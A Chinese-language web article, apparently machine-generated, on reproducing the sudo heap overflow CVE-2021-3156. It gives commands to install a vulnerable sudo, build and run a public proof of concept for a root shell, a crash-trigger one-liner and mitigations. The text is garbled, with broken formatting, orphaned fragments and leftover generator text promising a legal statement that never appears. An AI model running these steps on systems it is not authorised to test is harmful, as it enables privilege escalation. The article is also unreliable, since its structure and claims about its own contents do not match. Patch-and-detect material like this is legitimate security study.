您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎么进行Sudo堆缓冲区溢出漏洞CVE-2021-3156复现
## 漏洞概述
CVE-2021-3156是2021年1月披露的sudo提权漏洞,由Qualys安全团队发现。该漏洞存在于sudo的`sudoedit`组件中,由于未正确转义反斜杠字符导致**堆缓冲区溢出**,允许本地低权限用户在默认配置下获得root权限。
**影响版本**:
- sudo 1.8.2 - 1.8.31p2
- sudo 1.9.0 - 1.9.5p1
## 环境准备
### 测试环境要求
- 虚拟机环境(推荐VirtualBox/VMware)
- 受影响版本的Linux系统(如Ubuntu 20.04 LTS)
- 基础编译工具(gcc, make等)
### 环境搭建示例
```bash
# 安装有漏洞版本的sudo(以Ubuntu为例)
sudo apt-get install sudo=1.8.31-1ubuntu1.2
# 验证版本
sudo --version
从GitHub获取公开的PoC代码:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
将生成名为sudo-hax-me-a-sandwich
的可执行文件
./sudo-hax-me-a-sandwich
程序将自动检测目标系统并选择合适的利用方式
成功利用后会获得root shell:
whoami # 应显示root
漏洞位于sudoers
策略插件中,当处理命令行参数时:
// 漏洞代码片段(简化)
if (user_args) {
for (size = 0, av = NewArgv + 1; *av; av++) {
size += strlen(*av) + 1;
}
// 未正确处理转义字符导致缓冲区计算错误
user_args = malloc(size);
}
# 删除sudoedit的SUID位
sudo chmod 0755 /usr/bin/sudoedit
升级到已修复版本:
sudo apt-get update && sudo apt-get install sudo
# 手动检测命令
sudoedit -s '\' `perl -e 'print "A" x 65536'`
若返回malloc_error
或段错误则可能存在漏洞
libc
的堆利用技术(如unlink
攻击)注意:实际操作时建议在隔离的虚拟机环境中进行,避免影响生产系统。漏洞利用成功率取决于具体系统环境和内存布局,可能需要多次尝试。 “`
这篇文章共计约1150字,包含: - 漏洞背景说明 - 详细复现步骤 - 技术原理分析 - 防御方案 - 法律声明 - 标准Markdown格式 - 代码块和列表等格式元素
可根据需要调整技术细节的深度或补充特定发行版的利用细节。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。